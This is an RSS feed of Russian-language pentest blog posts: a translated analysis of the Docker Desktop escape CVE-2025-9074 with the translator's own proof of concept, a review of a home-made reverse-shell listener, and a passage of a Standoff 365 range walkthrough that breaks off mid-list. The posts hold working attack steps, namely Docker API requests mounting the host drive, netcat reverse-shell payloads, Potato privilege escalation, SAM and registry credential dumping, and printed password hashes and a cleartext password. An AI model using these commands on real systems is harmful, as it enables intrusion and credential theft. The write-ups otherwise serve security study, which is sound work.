<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>AFANX</title><generator>teletype.in</generator><description><![CDATA[THREAT Team
предложения в telegram: https://t.me/afanx/]]></description><image><url>https://img1.teletype.in/files/cd/38/cd38e5e9-47ea-4826-a1c1-1fd49b9378f0.png</url><title>AFANX</title><link>https://teletype.in/@afanx</link></image><link>https://teletype.in/@afanx?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=afanx</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/afanx?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/afanx?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Wed, 29 Apr 2026 04:23:43 GMT</pubDate><lastBuildDate>Wed, 29 Apr 2026 04:23:43 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@afanx/DOSI6B3abY2</guid><link>https://teletype.in/@afanx/DOSI6B3abY2?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=afanx</link><comments>https://teletype.in/@afanx/DOSI6B3abY2?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=afanx#comments</comments><dc:creator>afanx</dc:creator><title>Breaking Docker’s Isolation Using... Docker? (CVE-2025-9074)</title><pubDate>Thu, 28 Aug 2025 08:07:28 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/5b/f7/5bf7185d-800c-4e2a-a0a6-da96218af341.png"></media:content><category>Pentest</category><description><![CDATA[<img src="https://img4.teletype.in/files/7b/5e/7b5e63d0-6661-451d-9294-c29ef698c58e.png"></img>]]></description><content:encoded><![CDATA[
  <figure id="A6tL" class="m_column">
    <img src="https://img4.teletype.in/files/7b/5e/7b5e63d0-6661-451d-9294-c29ef698c58e.png" width="1920" />
  </figure>
  <blockquote id="20250826201129-utkiq63">Автор статьи: <a href="https://ca.linkedin.com/in/zer0x64" target="_blank">Philippe Dugre</a> (&quot;zer0x64&quot;)</blockquote>
  <blockquote id="sAhi">Оригинал: <a href="https://pvotal.tech/breaking-dockers-isolation-using-docker-cve-2025-9074/" target="_blank">Breaking Docker’s Isolation Using... Docker? (CVE-2025-9074)</a> </blockquote>
  <blockquote id="QpoM">Автор перевода: <a href="https://t.me/afanx" target="_blank">AFANX</a> </blockquote>
  <blockquote id="EIgI">Канал: <a href="https://t.me/k0n70r4" target="_blank">K0N70R4</a></blockquote>
  <p id="20250826201925-o0y6eoj">Ку, киберпанки! Мне кажется этото перевод будет полезный, потому что это отличный кейс для побега из докера на Windows системе. В кратце: CVE-2025-9074 позволяет непривилегированному коду внутри контейнера обратиться к Docker engine и запустить дополнительные привилегированные контейнеры с полным доступом к файлам на хосте. В конце статьи предоставлю PoC для получения reverse-shell.</p>
  <h3 id="TL-DR">TL;DR</h3>
  <p id="20250826204052-nqf6b7d">Некоторое время назад мой старый друг и исследователь безопасности <a href="https://blog.qwertysecurity.com/Articles/blog3.html" target="_blank">Феликс Буле</a> связался со мной по поводу одной своей находки. Эта запись в блоге посвящена моему участию в анализе и тестировании <a href="https://www.cve.org/CVERecord?id=CVE-2025-9074" target="_blank">уязвимости CVE-2025-9074</a> — критической уязвимости, позволяющей вырваться из контейнера Docker на Docker Desktop, версии Docker для Windows и macOS.</p>
  <h3 id="Обнаружение-и-подтверждение-уязвимости">Обнаружение и подтверждение уязвимости</h3>
  <p id="20250827014230-kkt2r7q">Феликс возился со сканированием сети из контейнера Docker, когда обнаружил открытый порт, который ему был незнаком. После небольшого исследования он выяснил, что это сокет Docker-движка, и для доступа к нему не существует системы аутентификации. Узнав, что у него есть открытый сокет, он связался со мной, поскольку у меня больше опыта в Docker&#x27;е и разработке в целом.</p>
  <p id="20250827014230-6vqgnfr">Первым шагом была проверка уязвимости. Конфигурация Docker весьма нестандартна, поскольку он постоянно пытается сломать программное обеспечение, поэтому ему требовалось стороннее мнение по поводу новой установки. Я стряхнул пыль со старого ноутбука, установил все обновления Windows и заново установил Docker. Я адаптировал его прототип к своей конфигурации и смог эксплуатировать уязвимость, подтвердив её наличие. Затем я протестировал её в Linux и macOS, одновременно дорабатывая код эксплойта. Оказалось, что Linux не уязвим, по причинам, которые будут обсуждаться позже, а вот macOS уязвима, хотя и с меньшим уровнем воздействия, чем Windows.</p>
  <h3 id="Уязвимость">Уязвимость</h3>
  <p id="20250827014407-s8t4fo6">Сама уязвимость довольно проста: сокет Docker Engine ни при каких обстоятельствах не должен быть доступен недоверенному коду или пользователю. Этот сокет представляет собой API управления Docker, и доступ к нему предоставляет полный доступ ко всем функциям Docker-приложения.</p>
  <p id="20250827014407-807595t">Очевидно, сюда входит создание и удаление контейнеров, но более коварная возможность — монтирование томов.</p>
  <p id="20250827014407-x6nlyaa">Предположим, что Docker Engine запускает производственное приложение, использующее базу данных, которая также работает на Docker. Злоумышленник может просто создать новый контейнер и смонтировать том базы данных, что позволит ему читать и записывать в неё любые данные.</p>
  <p id="20250827014407-m801phu">Однако ещё более опасным вариантом применения является монтирование файловой системы хоста. Это позволяет злоумышленнику читать и записывать файлы на хосте.</p>
  <p id="20250827014407-zjzacny">В Windows, поскольку Docker Engine работает через WSL2, злоумышленник может смонтировать как администратор всю файловую систему, прочитать любой конфиденциальный файл и, в конечном итоге, перезаписать системную DLL-библиотеку, чтобы повысить свои права до администратора хост-системы.</p>
  <p id="20250827014407-kpkof44">Однако в MacOS приложение Docker Desktop по-прежнему имеет уровень изоляции, и при попытке монтирования пользовательского каталога у пользователя запрашивается разрешение. По умолчанию Docker приложение не имеет доступа к остальной файловой системе и не запускается с правами администратора, поэтому хост гораздо безопаснее, чем в случае с Windows. Однако злоумышленник по-прежнему имеет полный контроль над приложением/контейнерами Docker и может даже использовать бэкдор, смонтировав и изменив конфигурацию приложения, без необходимости одобрения пользователя.</p>
  <h3 id="А-как-насчет-Linux-">А как насчет Linux?</h3>
  <p id="20250827014616-jjr5kry">Linux не использует TCP-сокет для API Docker Engine. Вместо этого используется именованный канал в файловой системе хоста. Если не используется определённая небезопасная конфигурация, контейнер не имеет доступа к этому именованному каналу. Обратите внимание, что эта уязвимость задокументирована и изначально заложена в конструкцию Docker-in-Docker, которую не следует использовать в рабочей среде именно по этой причине.</p>
  <h3 id="Насколько-легко-это-эксплуатировать-">Насколько легко это эксплуатировать?</h3>
  <figure id="mViy" class="m_column">
    <img src="https://img1.teletype.in/files/44/95/4495a6e1-3331-43fd-96f5-2c15dc54679a.png" width="1024" />
  </figure>
  <p id="20250826204703-vy44smt">Что касается сложности эксплуатации уязвимости в идеальном сценарии, то это действительно очень легко. Для моего прототипа на MacOS мне понадобилось всего три строки кода на Python:</p>
  <pre id="ytBv">import docker
client = docker.DockerClient(base_url=&quot;tcp://192.168.65.7:2375&quot;)

client.containers.run(&quot;alpine&quot;, &quot;touch /mnt/pwned&quot;,
volumes=[&quot;/Users/&lt;username&gt;/:/mnt&quot;])
</pre>
  <p id="20250826204810-5lftrte">Это создаст файл pwned​ в домашнем каталоге пользователя. После этого можно легко изменить скрипт, чтобы использовать пакет docker python для выполнения любых функций движка. Вы также можете ознакомиться с записью в блоге Феликса об этом, чтобы увидеть его эксплойт, работающий из командной строки.</p>
  <p id="20250826204900-jtrgdo1">Что касается настройки, необходимой для эксплуатации уязвимости, движок должен работать либо на Windows, либо на macOS. Хотя большинство производственных систем Docker работают на Linux, некоторые используют Windows Server (особенно если им требуются контейнеры Windows). Хотя Docker — менее распространённая цель, многие разработчики запускают ненадёжный код на Windows или macOS.</p>
  <p id="20250827015017-q6344ky">Другим требованием является доступ злоумышленника к сокету Docker. Хотя самый простой способ эксплуатации уязвимости — через уязвимый или вредоносный контейнер, контролируемый злоумышленником, другой возможный вектор атаки — подделка запросов на стороне сервера (SSRF). Эта уязвимость позволяет злоумышленнику проксировать запросы через уязвимое приложение и достигают сокета Docker, влияние которого особенно различается в зависимости от доступности методов HTTP-запросов (большинство SSRF допускают только запросы <code>GET</code>, но некоторые узкоспециализированные случаи допускают использование методов <code>POST</code>, <code>PATCH</code>, <code>DELETE</code>).</p>
  <h3 id="Меня-это-коснулось-">Меня это коснулось?</h3>
  <figure id="iGls" class="m_column">
    <img src="https://img3.teletype.in/files/6b/c0/6bc06c53-bf7d-4d35-a56b-a94fd5943727.png" width="1024" />
  </figure>
  <p id="20250826205127-z8nulyh">Если вы используете Docker Desktop на Windows или macOS, обязательно обновите его до последней версии. Уязвимость была исправлена в версии 4.44.3.</p>
  <h3 id="Proof-of-Concept">Proof of Concept</h3>
  <p id="20250826205159-3yc2w53">Исходя из описания данной уязвимости и <a href="https://blog.qwertysecurity.com/Proofs/blog3/poc.mp4" target="_blank">видео</a> из поста решил попробовать получить Reverse Shell.</p>
  <p id="20250826205358-mpgazao">Для стенда использовал:</p>
  <ol id="20250826221150-cozr6i9">
    <li id="20250826221154-ej9fw61">Docker Image <a href="https://hub.docker.com/_/alpine" target="_blank">alpine</a></li>
    <li id="20250826221202-unkvi4p"><a href="https://desktop.docker.com/win/main/amd64/202017/Docker%20Desktop%20Installer.exe?utm_source=docker&utm_medium=webreferral&utm_campaign=docs-driven-download-windows" target="_blank">Docker Desktop v.4.44.2</a></li>
  </ol>
  <figure id="lQsY" class="m_column">
    <img src="https://img2.teletype.in/files/5c/e4/5ce4638a-3d62-4aff-96f7-0a7e31aa6f3e.png" width="1268" />
  </figure>
  <p id="20250826112814-xq9q0mp">Прежде чем использовать docker нужно поставить WSL:</p>
  <pre id="SJHg">wsl --update
</pre>
  <p id="20250826112458-yi1jasw">Теперь скачаем alpine​ и запустим его:</p>
  <pre id="kuFS">docker run -it alpine &#x27;/bin/sh&#x27;
</pre>
  <p id="20250827214906-934e9w6">​</p>
  <figure id="KnTj" class="m_original">
    <img src="https://img2.teletype.in/files/94/d3/94d320d0-d169-472e-8753-6a72310cdd65.png" width="545" />
  </figure>
  <p id="20250827214906-934e9w6">​Автор статьи создавал файл командами ниже:</p>
  <pre id="luEF">wget --header=&#x27;Content-Type: application/json&#x27; \
--post-data=&#x27;{&quot;Image&quot;:&quot;alpine&quot;,&quot;Cmd&quot;:[&quot;sh&quot;,&quot;-c&quot;,&quot;echo pwned &gt; /host_root/pwn.txt&quot;],&quot;HostConfig&quot;:{&quot;Binds&quot;:[&quot;/mnt/host/c:/host_root&quot;]}}&#x27; \
-O - http://192.168.65.7:2375/containers/create &gt; create.json
cid=$(cut -d&#x27;&quot;&#x27; -f4 create.json)
wget --post-data=&#x27;&#x27; -O - http://192.168.65.7:2375/containers/$cid/start
</pre>
  <p id="20250827214558-o40a4hc">На данном этапе создаётся новый контейнер с использованием Docker API и общая директория<code>/host_root​</code> , где создаётся файл <code>pwn.txt​</code>. При использовании bridge​ в Docker-контейнерах существует <em>адрес обратной связи</em> - 192.168.65.7. Этот IP-адрес прописан в контейнере и располагается в файле <code>/etc/resolv.conf​</code>:</p>
  <figure id="nIHa" class="m_column">
    <img src="https://img4.teletype.in/files/30/89/3089fb73-7495-4e75-8ae5-fcf3c4fd16c2.png" width="776" />
  </figure>
  <p id="20250828102533-1i9oxae">По идеи всё просто - нужно заменить команду создания файла на команду для получения Reverse-Shell&#x27;а. Так как в alpine есть <code>netcat</code>​, то можно воспользоваться <a href="https://www.revshells.com/" target="_blank">ReverseShellGenerator</a> и получить нагрузку:</p>
  <figure id="wcQp" class="m_column">
    <img src="https://img4.teletype.in/files/76/76/7676dd7d-2003-4000-81e2-927ffd4de423.png" width="1141" />
  </figure>
  <p id="20250827213506-8i3irdm">У себя запустил листенер:</p>
  <pre id="sxMr">nc -lvnp 4343</pre>
  <figure id="gQCV" class="m_original">
    <img src="https://img2.teletype.in/files/1f/ef/1fefa773-482b-40e6-ada9-4f68eaa56e9b.png" width="468" />
  </figure>
  <p id="20250827215212-ta3okqa">А нагрузка теперь выглядит так:</p>
  <pre id="1taH">wget --header=&#x27;Content-Type: application/json&#x27; --post-data=&#x27;{&quot;Image&quot;:&quot;alpine&quot;,&quot;Cmd&quot;:[&quot;sh&quot;,&quot;-c&quot;,&quot;nc 192.168.1.7 4343 0&gt;&amp;1&quot;],&quot;HostConfig&quot;:{&quot;Binds&quot;:[&quot;/mnt/host/c:/host_root&quot;]}}&#x27; -O - http://192.168.65.7:2375/containers/create &gt; create.json
cid=$(cut -d&#x27;&quot;&#x27; -f4 create.json)
wget --post-data=&#x27;&#x27; -O - http://192.168.65.7:2375/containers/$cid/start</pre>
  <figure id="pcRr" class="m_column">
    <img src="https://img2.teletype.in/files/d2/d8/d2d82c00-b6f8-48f8-b69d-46c6029bcbbc.png" width="1246" />
  </figure>
  <p id="20250828102719-xbdyc5n">Запускаю и получаю коннект:</p>
  <figure id="poDv" class="m_original">
    <img src="https://img3.teletype.in/files/a6/38/a63843e1-a104-4401-9bba-1c3373579aae.png" width="458" />
  </figure>
  <p id="20250828102733-gdvedxm">Так как в новом контейнере общая директория это <code>host_root</code>​, то получается что могу спокойно ходить в файловую систему Windows:</p>
  <figure id="g6PL" class="m_original">
    <img src="https://img1.teletype.in/files/c7/83/c7831154-e366-4ca8-9580-52f909fe8477.png" width="390" />
  </figure>
  <p id="20250828102753-qzm2l7c">Для полной проверки создам файл в <code>C:/​</code>:</p>
  <figure id="Iprh" class="m_original">
    <img src="https://img1.teletype.in/files/44/28/4428bb82-7fb5-4c32-b266-44d1c6274176.png" width="601" />
  </figure>
  <p id="20250828102820-44wrkjy">И проверяю в Windows:</p>
  <figure id="kxql" class="m_column">
    <img src="https://img2.teletype.in/files/91/16/91162213-452e-40ce-8c45-5c09d76899ea.png" width="855" />
  </figure>
  <figure id="gwhP" class="m_column">
    <img src="https://img3.teletype.in/files/e6/ae/e6ae8838-28c2-481e-85b4-2549a99c70c7.png" width="1920" />
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@afanx/4TStUznZzTX</guid><link>https://teletype.in/@afanx/4TStUznZzTX?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=afanx</link><comments>https://teletype.in/@afanx/4TStUznZzTX?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=afanx#comments</comments><dc:creator>afanx</dc:creator><title>netcat для пентеста или обзор утилиты LISTENER</title><pubDate>Tue, 13 May 2025 14:10:38 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/20/58/2058267e-67c0-47d7-a61a-df43f91d65f1.png"></media:content><category>Pentest</category><description><![CDATA[<img src="https://img4.teletype.in/files/bd/04/bd04c56d-ff92-4138-8de3-e205d19abafa.png"></img>Ку, киберпанки! Недавно, у меня был кейс связанный с бэк-коннектом. Данный бэ-коннект я получал используя обычный реверс шелл. Ну, как бы да. Казалось бы запустил netcat на прослушку nc -lvnp 4444 или используй metasploit для этого. Однако, есть ряд проблем связанные с этим способом:]]></description><content:encoded><![CDATA[
  <figure id="bfAh" class="m_column">
    <img src="https://img4.teletype.in/files/bd/04/bd04c56d-ff92-4138-8de3-e205d19abafa.png" width="1920" />
  </figure>
  <p id="rS0M">Ку, киберпанки! Недавно, у меня был кейс связанный с бэк-коннектом. Данный бэ-коннект я получал используя обычный реверс шелл. Ну, как бы да. Казалось бы запустил netcat на прослушку <code>nc -lvnp 4444</code> или используй metasploit для этого. Однако, есть ряд проблем связанные с этим способом:</p>
  <ol id="8vvN">
    <li id="O07C">Челики, которые пытаюся ломануть твою ВПС. Из-за этого появляется ложный коннект и отлетает подключение</li>
    <li id="yeZ1">Много коннектов и не понятно какой ложный, отсюда теряется оперативность</li>
  </ol>
  <p id="WUak">Как альтернативу, можно использовать <a href="https://pwncat.org/" target="_blank">pwncat</a>. И это реально крутая тулза для пентестов, потому что много чего умеет, но для решения своих задач мне это не нужно. </p>
  <p id="mJ98">Мотивация для написания своей тулзы такая:</p>
  <ol id="mG5L">
    <li id="tsZJ">Мне необходимо делать много листенеров</li>
    <li id="5c1V">Возможность переключаться между ними без потери соединения</li>
  </ol>
  <p id="I6ok">Иными словами, хотел сделать очень, очень жалкую пародиб на C2 и вот результат.</p>
  <h3 id="8PU3">Обзор оболочки</h3>
  <p id="xz0J">Писал утилиту на Python и для удобства скомпилил её с помощью <a href="https://pypi.org/project/pyinstaller/" target="_blank">PyInstaller </a>. Главное меню программы выглядит так:</p>
  <figure id="6cQu" class="m_original">
    <img src="https://img2.teletype.in/files/dd/69/dd6931b0-b352-40be-b151-1f643dd770e9.png" width="433" />
  </figure>
  <p id="Rb5a">Представлены все команды, которые может выполнять оболочка LISTENER и  на самом деле этого вполне достаточно для работы.</p>
  <ol id="IVeL">
    <li id="P0b4"><code>create &lt;ip&gt; &lt;port&gt;</code>  - команда для создания листенера. Разумеется, что <strong>ip</strong> - это адрес пывнера, а <strong>port</strong> - это порт для прослушивания</li>
    <li id="BZzP"><code>list</code> - команда для просмотра коннектов. В данной таблице написан ID коннекта, ip-адрес пывнера и ip-адрес жертвы</li>
    <li id="V6yV"><code>use &lt;id&gt;</code> - команда необходимая для подключения к сессии. Используется ID, который указан в <code>list</code></li>
    <li id="o92s"><code>kill &lt;id&gt;</code> - команда необходимая для завершения сессии. Используется ID, который указан в <code>list</code></li>
  </ol>
  <blockquote id="xylM">Для удобства ввода команд добавлена табуляция с автодополнением</blockquote>
  <p id="yrmS">Ниже приведён пример использования команды <code>create</code>:</p>
  <figure id="3TAn" class="m_original">
    <img src="https://img4.teletype.in/files/b9/e9/b9e92e97-7d31-4e9c-861b-460c67a70df8.png" width="499" />
  </figure>
  <p id="PeIw">Вывод команды говорит о том, что прослушка запустилась. Теперь оформлю реверс шелл командой <code>nc 192.168.1.3 4444 -e sh</code> и получу информацию о коннекте:</p>
  <figure id="vrj3" class="m_original">
    <img src="https://img3.teletype.in/files/e4/bb/e4bb361b-999b-48ae-a4a2-feeae9938744.png" width="744" />
  </figure>
  <p id="7x6X">Вот и получение информации о том, что есть подключение. На скрине видно, что отправляю команду <code>whoami</code>. Короче говоря, это нужно как раз таки для защиты от сканов. Я считаю, что эта команда довольно таки универсальная и есть в каждой системе. Если ответ не поступил в течении 10 секунд, то подключение ложное. Дальше происходит прерывание сессии и открытие порта по поновой.</p>
  <blockquote id="SFBi">Когда появилось уведомление о подключении лучше всего сделать так: нажать Enter, потом ввести exit, а дальше использовать команду use ID. Иными словами закрыть инерактивную оболочку и потом снова к ней подключиться. Так работает лучше.</blockquote>
  <figure id="nCdn" class="m_original">
    <img src="https://img2.teletype.in/files/17/01/170106ec-d06d-4d9f-b128-2b52da451bf6.png" width="774" />
  </figure>
  <p id="crkp">На скрине виден результат работы команды <code>list</code> и <code>use</code>. Дальше я убью этот конект командой <code>kill ID</code>:</p>
  <figure id="7uIA" class="m_original">
    <img src="https://img2.teletype.in/files/14/a7/14a7ffae-ab89-4153-a763-e0233080b190.png" width="451" />
  </figure>
  <p id="DSI6">Для примера откроем порт 1337 и запустим <code>nmap</code> командой <code>nmap 192.168.1.3 -p 1337</code> и посмотрим, что выдаст LISTENER:</p>
  <figure id="kRBV" class="m_original">
    <img src="https://img3.teletype.in/files/23/b3/23b3f780-3c16-4ad1-bb22-14c41e0a349e.png" width="517" />
  </figure>
  <figure id="743y" class="m_original">
    <img src="https://img4.teletype.in/files/b1/29/b12939de-c508-43e1-8894-d370eeb09bf0.png" width="543" />
  </figure>
  <p id="NP5k">Думаю, что этот скрин доказывает, что можно попробовать противостоять сканам. Однако, это метод максимально простой и естественно это нужно дорабатывать.</p>
  <p id="x1aQ">Теперь протестируем на Windows. Откроем порт 8080 и на Windows запущу реверс шелл:</p>
  <figure id="Q6pk" class="m_original">
    <img src="https://img3.teletype.in/files/22/1a/221a1e7f-5dbc-4ed8-b3b3-675cb0dbf46b.png" width="752" />
  </figure>
  <p id="AsUi">Теперь подключусь к Linux (ID <code>dfcf839b</code>):</p>
  <figure id="y32M" class="m_original">
    <img src="https://img2.teletype.in/files/9e/a3/9ea3fccf-490c-4e51-8978-fae84b99123d.png" width="831" />
  </figure>
  <p id="uugp">Дальше ввожу <code>exit</code> и переключаюсь на Windows (ID <code>dbd494e9</code>):</p>
  <figure id="hRf6" class="m_original">
    <img src="https://img1.teletype.in/files/c2/14/c2142a73-732d-41ca-b489-a1c4343d8436.png" width="1166" />
  </figure>
  <p id="2niD">На этом всё. Исходный код и скомпиленную прогу можно найти на канале <a href="https://t.me/k0n70r4" target="_blank">K0N70R4</a>.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@afanx/yaOXNW2cC2c</guid><link>https://teletype.in/@afanx/yaOXNW2cC2c?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=afanx</link><comments>https://teletype.in/@afanx/yaOXNW2cC2c?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=afanx#comments</comments><dc:creator>afanx</dc:creator><title>HighTechEnergy STANDOFF 365. Часть 2 -  Privilege Escalation, Credential Access, Pivoting,  Persistence</title><pubDate>Sat, 28 Dec 2024 20:49:50 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/20/f2/20f292e4-5ca6-4639-bce0-f55383585a34.png"></media:content><category>Hacking</category><description><![CDATA[<img src="https://img2.teletype.in/files/98/ea/98ea273d-cb60-4b21-a544-5119b00a7908.png"></img>Ку, киберпанки! В прошлой статье мы получили инишиал сегодня речь пойдет о повышении привилегий, сборе данных на хосте, о туннелировании и закреплении.]]></description><content:encoded><![CDATA[
  <figure id="bVH5" class="m_column">
    <img src="https://img2.teletype.in/files/98/ea/98ea273d-cb60-4b21-a544-5119b00a7908.png" width="1920" />
  </figure>
  <p id="mPzj">Ку, киберпанки! В прошлой статье мы получили инишиал. В этой статье речь пойдет о повышении привилегий, сборе данных на хосте, о туннелировании и закреплении.</p>
  <blockquote id="iO0q">Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор не несет ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.</blockquote>
  <h2 id="xYRy">Повышение привилегий</h2>
  <p id="tRQS">Изначально имеем следующих зафишенных челиков:</p>
  <figure id="I2ai" class="m_original">
    <img src="https://img1.teletype.in/files/01/81/01814298-8710-4f51-b4fc-54fd4dc9edb2.png" width="698" />
  </figure>
  <p id="JmMl">Начнём с <strong>O_Lara</strong>. Сначала чекнем её привилегии:</p>
  <pre id="fdwv">whoami /priv</pre>
  <figure id="O5QX" class="m_column">
    <img src="https://img4.teletype.in/files/73/09/73096f8e-c6e0-4d09-a069-0ff65274821c.png" width="1130" />
  </figure>
  <p id="PL6n">Видим, что есть <code>SeImpersonatePrivilige</code>. Это означает, что можно выполнять что-то в контексте  <code>NT AUTHORITY\SYSTEM</code>. Для повышения привилегий использую  <a href="https://github.com/BeichenDream/GodPotato/releases" target="_blank">GodPotato</a> или <a href="https://github.com/tylerdotrar/SigmaPotato/releases" target="_blank">SigmaPotato</a>. </p>
  <p id="6rJ6"></p>
  <p id="wVwG">В директорию <code>C:\Windows\Tasks\</code> (но лучше загрудать всю эту взрованную тематику по  адресу <code>C:\Users\user_name\</code>) загружаю GodPotato и запускаю:</p>
  <pre id="mVyo">shell GodPotato.exe -cmd &quot;C:/Windows/Tasks/a.exe&quot;</pre>
  <figure id="wnVW" class="m_original">
    <img src="https://img1.teletype.in/files/c8/dc/c8dc784c-ebf6-46a7-bed7-ae9ab8288439.png" width="645" />
  </figure>
  <p id="cEXL">Но по непонятным причинам причинам ничего не отрабатывало:</p>
  <figure id="1FFt" class="m_column">
    <img src="https://img2.teletype.in/files/13/e1/13e136c4-2d75-4bd1-b8bb-bebb652e1b53.png" width="848" />
  </figure>
  <p id="d0Jv">В итоге, сделал новый маяк, загрузил его в директорию O_Lara с помощью SigmaPotato:</p>
  <pre id="HAg5">shell SigmaPotato.exe C:\Users\O_Lara\demon.exe</pre>
  <figure id="iL4t" class="m_column">
    <img src="https://img2.teletype.in/files/d1/3c/d13cc129-b60e-4aee-b178-fa1c3e7663aa.png" width="838" />
  </figure>
  <figure id="Za5o" class="m_column">
    <img src="https://img3.teletype.in/files/60/a4/60a40423-c16f-4e6e-b279-59d009940ead.png" width="820" />
  </figure>
  <h2 id="YXjR">Сбор информации</h2>
  <p id="YFgp">Для сбора информации - будем дампить SAM для получения кред или хэшей.</p>
  <blockquote id="YMQQ">Security Account Manager (SAM) — механизм безопасности, управляющий всеми локальными учетными записями пользователей, включая их данные. Абстрактно, SAM представляет собой базу данных, содержащую информацию о локальных пользователях, такую как идентификатор, хеш пароля и т.п</blockquote>
  <p id="lYyH">При помощи привилегии <code>SeBackupPrivilege</code> мы можем это сделать:</p>
  <figure id="ErEd" class="m_column">
    <img src="https://img3.teletype.in/files/eb/65/eb65f565-8afd-4c90-9921-36e0c7d0bf35.png" width="821" />
  </figure>
  <p id="fm01">По хорошему, это делается через <a href="https://github.com/ParrotSec/mimikatz" target="_blank">mimikatz</a>:</p>
  <pre id="sivy">shell mimikatz &quot;token::elevate&quot; &quot;lsadump::sam&quot; &quot;exit&quot;</pre>
  <figure id="7ns0" class="m_column">
    <img src="https://img3.teletype.in/files/2d/8b/2d8b584b-0bfb-42e7-a756-89542dd5849d.png" width="849" />
  </figure>
  <p id="Zj0L">Но у меня мимик не отрабатывал, поэтому решил сделать по киберпанку: самому сдампить из реестра и на своей тачке распарсить с помощью <a href="https://github.com/skelsec/pypykatz" target="_blank">pypykatz</a>  :</p>
  <pre id="sH9S">reg save HKLM\SYSTEM system.dmp &amp; reg save HKLM\security security.dmp &amp; reg save HKLM\SAM sam.dmp</pre>
  <figure id="B0es" class="m_column">
    <img src="https://img4.teletype.in/files/38/b6/38b6d85d-38a2-4151-bd9b-da95d3bfdd7b.png" width="1498" />
  </figure>
  <p id="uCqe">Теперь выкачиваю и паршу. Покажу как это сделать с помощью pypykatz и с скриптом impacket secretsdump:</p>
  <pre id="aun4">pypykatz registry --sam sam.dmp system.dmp</pre>
  <figure id="YBIB" class="m_original">
    <img src="https://img4.teletype.in/files/75/84/758455e1-c890-4ea5-b7c0-ebf835d7ea00.png" width="750" />
  </figure>
  <pre id="QvGg">secretsdump.py  -security security.dmp -system system.dmp LOCAL</pre>
  <figure id="EceI" class="m_original">
    <img src="https://img4.teletype.in/files/33/ac/33ac1306-cfe1-4f80-9f61-c57a60469297.png" width="1917" />
  </figure>
  <pre id="9XWn">secretsdump.py -sam sam.dmp -system system.dmp LOCAL</pre>
  <figure id="rRW4" class="m_original">
    <img src="https://img1.teletype.in/files/ce/71/ce71d7eb-5c5a-461e-b3d4-9d9c1403b26d.png" width="741" />
  </figure>
  <p id="WcaX">Таким образом, получили:</p>
  <pre id="0GN6">Administrator:500:none:1341d22a3bf7d7caa3b46590cda30b88:::
Guest:501:none:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:none:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:none:9f510fd6ba1b078f7d342024d38aa80d:::
ptadmin:1006:none:c316674dab626a3afdc5f6b31df29c2f:::
itshuel:1007:none:6c4c4eb68a4c6082ab37166a9e967273:::
adel:1008:none:cfeff215d461385934435a5b0fc060f4:::
kot3:1009:none:33b8400f6cb308f57b2874f679e913fe:::
Olga:1011:none:303a0a69a3e7b813fbda33cba07f1bf8:::
test:1012:none:0cb6948805f797bf2a82807973b89537:::
newuser:1014:none:bbcef4ffcfe931235927d4134505691b:::
newhuy:1015:none:bbcef4ffcfe931235927d4134505691b:::
collapsz:1016:none:6252774119889224f32364297cc43416:::
nerv:1017:none:5745798f244536dfb453110e36751006:::
autist:1018:none:163b8e2cce432c92c16d84235b60ddc9:::
HTE.STF/Administrator:$DCC2$10240#Administrator#dfb35a65f92d8af602f08e358a58dc42
HTE.STF/o_lara:$DCC2$10240#o_lara#c4ee3a267ae7a808b67cd070b82f1bce
HTE.STF/a_petinson_admin:$DCC2$10240#a_petinson_admin#113cf5264ab093c52cc06dc404596dca
HTE.STF/k_delaney_admin:$DCC2$10240#k_delaney_admin#e5158fe15a7e4f2ce2d6d844652cb0fc
HTE.STF/j_bowen_admin:$DCC2$10240#j_bowen_admin#6167c7eeb879d232bad0bbee78865dcc
HTE.STF/j_glenn_admin:$DCC2$10240#j_glenn_admin#f08a98bbd5b6e57f9f7fb8f93e6776b4
HTE.STF/l_sherman:$DCC2$10240#l_sherman#210944504d230ed5b502332bba70b2b6
(Unknown User):Aa2sUdUlg3OJP98n</pre>
  <p id="EafT"></p>
  <blockquote id="GtQU"><strong>aad3b435b51404eeaad3b435b51404</strong> заменил на <strong>none</strong>, потому что эта часть равна нулю</blockquote>
  <p id="slJp">Есть хэши от юзеров, а значит можно сделать атаку Pass-The-Hash и есть пароль от неизвестного юзера, который можно будет спреить.</p>
  <blockquote id="RuCh">Pass-the-hash - техника, которая позволяет авторизовываться по хэшу, если аунтефикация происходит с использованием NTLM и LM</blockquote>
  <p id="i9uD">Но прежде чем это делать, нужно оформить туннелирование.</p>
  <h2 id="jauA">Pivoting</h2>
  <p id="1Rc3">Проброс портов буду делать через <a href="https://github.com/jpillora/chisel/releases" target="_blank">chisel</a>. С chisel нужно работа осуществляется так:</p>
  <ol id="7wus">
    <li id="4xIk">На тачке пывнера разворачивается сервер chisel (желательно на тачке с белым IP)</li>
